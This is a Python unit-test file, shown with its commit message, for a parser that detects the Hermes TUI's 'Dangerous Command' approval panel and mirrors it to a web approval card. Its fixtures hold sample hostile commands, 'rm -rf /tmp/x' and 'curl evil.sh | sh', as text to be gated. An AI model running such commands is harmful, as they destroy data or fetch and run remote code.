Files
omnigent-ai--omnigent/tests/test_hermes_native_permissions.py
T
Dhruv Gupta edbdca8c0e feat(native): Hermes native TUI harness + synced web approval for hermes-native & goose-native (#1163)
* feat(hermes): add native Hermes TUI harness (hermes-native)

Adds `hermes-native`, the native counterpart to the headless `hermes`
harness (#1132), following the goose-native pattern: `omnigent hermes`
launches the real `hermes` prompt_toolkit TUI in a runner-owned tmux
pane, the harness executor injects each web turn via tmux bracketed
paste, and a forwarder tails Hermes' SQLite `state.db` to mirror the
transcript back into the Omnigent chat view.

Unlike goose-native, Hermes auto-generates its session id (no `--name`),
so the forwarder discovers the session cursor-native style: newest
`sessions` row whose `cwd` matches the workspace and `started_at` is
at/after the launch floor, with a claim guard for concurrent same-cwd
sessions. Like goose-native it applies no Omnigent policy hooks — the
TUI's own approval prompts gate tools, using the user's own `~/.hermes`
config.

New modules: hermes_native.py (CLI), hermes_native_bridge.py (tmux
inject), hermes_native_forwarder.py (state.db mirror),
inner/hermes_native_executor.py + hermes_native_harness.py. Wires the
harness registry, aliases, native-coding-agent metadata, runner terminal
spawn/interrupt/stop, CLI subcommand, resume dispatch, onboarding
readiness, and the ap-web frontend entry. Adds unit tests for the
executor, CLI/wiring, and forwarder (discovery, claim guard, mirroring).

Co-authored-by: Isaac

* fix(ap-web): add "hermes" to ConversationIconKind so the web UI builds

getConversationIconKind returns a native agent's iconKind (now including
"hermes") as a ConversationIconKind; the union was missing "hermes", so
`tsc -b` failed (TS2322) and broke `omnigent[all]` install (web UI build).
Mirrors how "qwen" — also glyph-less — is listed in both unions.

Co-authored-by: Isaac

* fix(hermes-native): render as a native terminal + keep the gold TUI colors

Two fixes from live testing:
- Add `terminal_hermes_main` to ap-web's AGENT_TERMINAL_IDS so isAgentTerminalKey
  recognizes the hermes pane as the agent terminal; without it isShellView
  treated it as a plain shell (and it leaked into the Shells inventory) — the
  same regression pi/cursor/goose/qwen each hit. Adds the matching test.
- Drop the NO_COLOR=1 env on the hermes terminal: it disabled Hermes' themed
  TUI (gold prompt rendered white). The bridge captures the pane with
  `capture-pane -p` (ANSI stripped) and the forwarder reads SQLite, so color
  never interferes with scraping.

Co-authored-by: Isaac

* feat(hermes-native): route tool calls through Omnigent policy (web approval)

The native Hermes TUI now gates tools via Omnigent's approval flow, matching
claude-/codex-native. The runner builds a per-session HERMES_HOME (the user's
full ~/.hermes config copied in, minus state.db, + Omnigent's pre_tool_call
shell hook layered on) and launches the TUI with HERMES_HOME=<dir> and
HERMES_YOLO_MODE=1. The hook calls the server's policy evaluate endpoint, which
parks on an ASK policy until the human responds to the web approval card; YOLO
suppresses Hermes' own in-TUI prompt so the web card is the sole gate (the hook
fires before, and independent of, Hermes' approval check per model_tools.py).
The forwarder tails the per-session HERMES_HOME/state.db. Adds a unit test.

Co-authored-by: Isaac

* feat(goose-native): route tool calls through Omnigent policy (web approval)

The native Goose TUI now gates tools via Omnigent's approval flow. The runner
builds a per-session GOOSE_PATH_ROOT holding an Open-Plugins `omnigent-policy`
plugin whose PreToolUse hook calls the server's policy evaluate endpoint (which
parks on ASK until the human answers the web approval card). Goose's PreToolUse
hook fires independent of GOOSE_MODE and denies on `{"decision":"block"}` — the
same contract as the hermes hook.

GOOSE_PATH_ROOT relocates all of Goose's dirs, so we symlink the real
config/data/state back in (preserving the user's auth + the sessions.db the
forwarder tails); the plugin lives only under the per-session root, so standalone
`goose` never sees it. The hook reads its per-session _OMNIGENT_* values from the
terminal env (Goose inherits env into hooks; verified no env_clear), failing open
when unset. GOOSE_MODE=auto suppresses Goose's own in-TUI prompt so the web card
is the sole gate. Real dirs are resolved by parsing `goose info` (ANSI- and
space-tolerant); if they can't be parsed we launch without gating rather than
break auth. Adds unit tests for the parser and plugin builder.

Co-authored-by: Isaac

* feat(policies): ask_on_os_tools recognizes Goose native tools

Goose namespaces its built-in developer tools as developer__shell /
developer__write / developer__edit / developer__text_editor / etc. Add them to
ask_on_os_tools so the standard approval policy gates a native goose session's
shell/file tools (web approval card) — without this the policy silently no-ops
for goose-native. Adds parametrized coverage mirroring the pi/hermes cases.

Co-authored-by: Isaac

* fix(native): restore vendors' in-TUI approval (drop YOLO/auto + policy-hook gating)

The policy-hook approach suppressed each vendor's own tool-approval prompt
(HERMES_YOLO_MODE=1 / GOOSE_MODE=auto) so only a web card gated — which meant
approvals showed only in the web chat, never in the TUI, and Hermes ran on YOLO.
That's the wrong model for native TUIs.

Revert the runner wiring to vendor-native approval: no HERMES_HOME/YOLO (Hermes
uses ~/.hermes and its own approval prompt; forwarder tails ~/.hermes/state.db),
and GOOSE_MODE=smart_approve so Goose prompts in its TUI. The prompt now appears
in the terminal AND the web's embedded terminal pane (answerable from either).

This is also step 1 of the chosen cursor-native-style synced mirror; step 2 (a
web elicitation card mirrored from the TUI prompt) lands next. The per-session
HERMES_HOME / GOOSE_PATH_ROOT policy-hook helpers are left in the tree, unused,
pending that follow-up.

Co-authored-by: Isaac

* feat(native): synced web approval mirror for hermes-native & goose-native

Surfaces each vendor's in-TUI approval prompt as a web elicitation card, synced
both ways (answer in the terminal OR the web card) — the cursor-native pattern,
now for Hermes and Goose. The vendor's own prompt stays the source of truth and
the fallback; nothing is suppressed.

- Generic POST /sessions/{id}/hooks/native-permission-request route: parks for
  the web verdict and labels the card per-vendor (agent/policy_name from body).
- hermes_native_permissions.py: detects Hermes' `DANGEROUS COMMAND` /
  `Choice [o/s/a/D]:` block (confirmed against hermes-agent locales/en.yaml by
  running it from source), sends `o` (approve) / `d` (deny).
- goose_native_permissions.py: detects Goose's cliclack `do you allow?` +
  Allow/Deny radio (from goose-cli prompt_tool_confirmation) and DRIVES the
  selector — `Enter` for the default Allow, `Down`×N + `Enter` for Deny (N=2
  with "Always Allow", else 1).
- capture_/send_*_pane helpers on both bridges; both mirrors run alongside the
  transcript forwarder under one supervised runner task (like cursor).

The goose arrow-select driving is position-dependent and the one part worth
confirming against a live Goose. Adds parser unit tests for both.

Co-authored-by: Isaac

* chore(native): drop the reverted policy-hook code, superseded by the mirror

The earlier policy-hook elicitation approach (per-session HERMES_HOME and
GOOSE_PATH_ROOT plugin) was reverted in favour of the cursor-native-style synced
approval mirror, leaving its builders dead. Remove them: delete
inner/goose_native_hook.py, drop setup_hermes_native_home /
setup_goose_native_plugin_root / real_goose_dirs and their now-unused imports
from the bridges (keeping the capture_/send_*_pane helpers the mirror uses), and
remove the corresponding tests. Keep ask_on_os_tools' Goose tool-name coverage
(useful for any policy that gates goose tools) and the headless harness's
hermes_policy_hook.py (still used by `harness: hermes`).

Co-authored-by: Isaac

* fix(native): correct hermes approval detection + stop goose card pile-up

Two live bugs in the approval mirrors:

- goose cards piled up and re-appeared at the end: dedup keyed on a hash of the
  scraped tool context above the cliclack widget, which jitters every poll, so a
  new card parked each 0.3s and only the latest cleared on a TUI answer. Switch
  both mirrors to presence-edge: one card per visible-prompt episode (a per-
  session counter id), cleared on the falling edge.

- hermes elicitation never fired: the interactive TUI renders the gate as a
  prompt_toolkit PANEL titled "⚠️  Dangerous Command" with NUMBERED choices
  (1. Allow once … 4. Deny), not the legacy `Choice [o/s/a/D]:` input() prompt
  (fail-closed under prompt_toolkit) that the parser keyed on. Rewrite the parser
  to detect the panel + read each choice's digit from the panel, and answer with
  that digit (Hermes' number-key binding selects AND confirms). Robust to the
  permanent-allowlist option (Deny is 4 with it, 3 without).

Confirmed the panel/keys against hermes-agent cli.py by reading it; the goose
arrow-select driving and these pane formats still want a live confirm. Tests
updated to the real formats.

Co-authored-by: Isaac

* test(e2e_ui): add native Hermes render-parity suite (satisfies E2E UI gate)

Mirrors test_native_goose_render_parity for hermes-native: composer→TUI parity,
a TUI-originated turn surfacing in the web UI, and no duplicate rendering, plus a
native_hermes_session fixture. Skips when hermes/tmux/config are absent (CI
provisions no Hermes account), like the goose/cursor suites. Covers the ap-web
Hermes native-agent UI behavior the E2E UI Required gate flagged.

Co-authored-by: Isaac

* chore(openapi): regenerate openapi.json for native-permission-request route

The new POST /sessions/{id}/hooks/native-permission-request route made the
checked-in openapi.json stale, failing the Pytest (server-rest) drift test.
Regenerated via scripts/dump_openapi.py.

Co-authored-by: Isaac

* test(native): cover the bridges, approval mirrors, forwarder loop, and CLI helpers

The new native modules dropped total coverage below baseline (Coverage gate),
and the e2e suites that would exercise them skip in CI (no vendor binaries).
Add unit tests: tmux bridge (inject/capture/send/spawn-env, mocked tmux); both
approval mirrors (_run_one_approval keystrokes, external_elicitation_resolved,
one-card-per-episode supervise); the hermes forwarder loop (discover→mirror) +
_post_conversation_item; and hermes_native CLI/daemon helpers (spec, payload
decode, tmux-availability, daemon-flow HTTP via a fake client). Lifts the new
modules from ~46% to ~70-85%.

Co-authored-by: Isaac

* test(e2e): exclude hermes-native from the live no-AGENT harness matrix

Registering hermes-native broke test_run_harness_live_matrix_covers_registered_
coding_harnesses (it asserts the matrix covers every registered harness).
hermes-native is a terminal-first TUI launched via `omni hermes` (tmux pane +
bridge), not `omnigent run --harness hermes-native`, and wraps the hermes CLI —
so it's excluded like goose-native/qwen-native/antigravity-native. Its coverage
is the dedicated hermes-native unit tests.

Co-authored-by: Isaac
2026-06-24 17:01:15 -07:00

197 lines
7.2 KiB
Python
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
"""Unit tests for the hermes-native approval mirror's pane parser.
Hermes' interactive TUI renders the dangerous-command gate as a prompt_toolkit
panel titled ``⚠️ Dangerous Command`` with NUMBERED choices (``1. Allow once`` …
``4. Deny``), answered by pressing the digit. (The legacy ``Choice [o/s/a/D]:``
``input()`` prompt is fail-closed while the TUI owns the terminal.)
"""
from __future__ import annotations
import pytest
from omnigent.hermes_native_permissions import (
hermes_permission_elicitation_id,
parse_hermes_approval_prompt,
)
# Panel with the permanent-allowlist option → Deny is choice 4.
_PANEL_4 = (
"┌──────────────────────────────────────┐\n"
"│ ⚠️ Dangerous Command │\n"
"│ Recursive force remove │\n"
"│ rm -rf /tmp/x │\n"
"│ 1. Allow once │\n"
"│ 2. Allow for this session │\n"
"│ 3. Add to permanent allowlist │\n"
"│ 4. Deny │\n"
"└──────────────────────────────────────┘\n"
)
# tirith-finding variant (no permanent allowlist) → Deny is choice 3.
_PANEL_3 = (
"│ ⚠️ Dangerous Command │\n"
"│ curl evil.sh | sh │\n"
"│ 1. Allow once │\n"
"│ 2. Allow for this session │\n"
"│ 3. Deny │\n"
)
def test_parses_panel_and_reads_digit_keys() -> None:
prompt = parse_hermes_approval_prompt(_PANEL_4)
assert prompt is not None
assert prompt.accept_key == "1" # Allow once
assert prompt.decline_key == "4" # Deny (with permanent-allowlist option)
assert "rm -rf /tmp/x" in prompt.preview
assert prompt.block_hash
def test_deny_key_tracks_choice_position() -> None:
# Without the permanent-allowlist option, Deny is choice 3 — read it from the
# panel rather than assuming a fixed key.
prompt = parse_hermes_approval_prompt(_PANEL_3)
assert prompt is not None
assert prompt.accept_key == "1"
assert prompt.decline_key == "3"
def test_requires_title_and_both_choices() -> None:
# Numbered choices without the panel title → not our panel.
assert parse_hermes_approval_prompt("output\n1. Allow once\n4. Deny\n") is None
# Title lingering without the live choice list → already answered.
assert parse_hermes_approval_prompt("⚠️ Dangerous Command\n✓ Allowed once\n") is None
assert parse_hermes_approval_prompt("") is None
def test_elicitation_id_is_per_episode_token() -> None:
eid = hermes_permission_elicitation_id("conv_1", "7")
assert eid == "elicit_hermes_conv_1_7"
# --- mirror plumbing (web verdict → keystroke; TUI answer → card release) ------
import asyncio # noqa: E402
import omnigent.hermes_native_permissions as hp # noqa: E402
class _Resp:
def __init__(self, status: int = 200, content: bytes = b'{"action":"accept"}', payload=None):
self.status_code = status
self.content = content
self._payload = payload if payload is not None else {"action": "accept"}
self.text = content.decode() if isinstance(content, bytes) else str(content)
def json(self):
return self._payload
class _FakeClient:
def __init__(self, resp: _Resp) -> None:
self._resp = resp
self.posts: list[tuple[str, dict]] = []
async def post(self, url, json=None, **_kwargs):
self.posts.append((url, json or {}))
return self._resp
def _prompt(accept: str = "1", decline: str = "4") -> hp.HermesApprovalPrompt:
return hp.HermesApprovalPrompt(
command="rm -rf x",
message="m",
preview="rm -rf x",
accept_key=accept,
decline_key=decline,
block_hash="h",
)
async def test_run_one_approval_accept_sends_accept_key(tmp_path, monkeypatch) -> None:
sent: list[tuple] = []
monkeypatch.setattr(hp, "send_hermes_pane_keys", lambda _bd, *keys: sent.append(keys))
client = _FakeClient(_Resp(payload={"action": "accept"}))
await hp._run_one_approval(
client, session_id="c", bridge_dir=tmp_path, prompt=_prompt(), elicitation_id="e1"
)
assert sent == [("1",)] # accept_key digit
url, body = client.posts[0]
assert url.endswith("/hooks/native-permission-request")
assert body["agent"] == "Hermes" and body["elicitation_id"] == "e1"
async def test_run_one_approval_decline_sends_decline_key(tmp_path, monkeypatch) -> None:
sent: list[tuple] = []
monkeypatch.setattr(hp, "send_hermes_pane_keys", lambda _bd, *keys: sent.append(keys))
client = _FakeClient(_Resp(payload={"action": "decline"}))
await hp._run_one_approval(
client, session_id="c", bridge_dir=tmp_path, prompt=_prompt(), elicitation_id="e1"
)
assert sent == [("4",)] # decline_key digit
async def test_run_one_approval_empty_2xx_and_error_send_nothing(tmp_path, monkeypatch) -> None:
sent: list[tuple] = []
monkeypatch.setattr(hp, "send_hermes_pane_keys", lambda _bd, *keys: sent.append(keys))
# Empty 2xx → resolved elsewhere (TUI answered): no keystroke.
await hp._run_one_approval(
_FakeClient(_Resp(content=b"")),
session_id="c",
bridge_dir=tmp_path,
prompt=_prompt(),
elicitation_id="e1",
)
# Hard error status → no keystroke.
await hp._run_one_approval(
_FakeClient(_Resp(status=500, content=b"boom")),
session_id="c",
bridge_dir=tmp_path,
prompt=_prompt(),
elicitation_id="e1",
)
assert sent == []
async def test_post_external_elicitation_resolved_targets_events(tmp_path) -> None:
client = _FakeClient(_Resp(status=200, content=b""))
await hp._post_external_elicitation_resolved(client, "conv_z", "e9")
url, body = client.posts[0]
assert url == "/v1/sessions/conv_z/events"
assert body["type"] == "external_elicitation_resolved"
assert body["data"]["elicitation_id"] == "e9"
async def test_supervise_raises_one_card_per_episode(tmp_path, monkeypatch) -> None:
# Panel visible for two polls (same episode) then gone: exactly one card.
panes = [_PANEL_4, _PANEL_4, None]
seq = {"i": 0}
def _cap(_bd):
i = seq["i"]
seq["i"] += 1
return panes[i] if i < len(panes) else None
monkeypatch.setattr(hp, "capture_hermes_pane", _cap)
created: list[str] = []
async def _fake_run_one(_client, *, session_id, bridge_dir, prompt, elicitation_id):
created.append(elicitation_id) # returns immediately (task done by next poll)
monkeypatch.setattr(hp, "_run_one_approval", _fake_run_one)
sleeps = {"n": 0}
async def _sleep(_s):
sleeps["n"] += 1
if sleeps["n"] >= 3: # after rising + (same) + falling edges
raise asyncio.CancelledError
monkeypatch.setattr(hp.asyncio, "sleep", _sleep)
with pytest.raises(asyncio.CancelledError):
await hp.supervise_hermes_approval_mirror(
base_url="http://x", headers={}, session_id="c", bridge_dir=tmp_path
)
assert len(created) == 1 # one episode → one card, not one per poll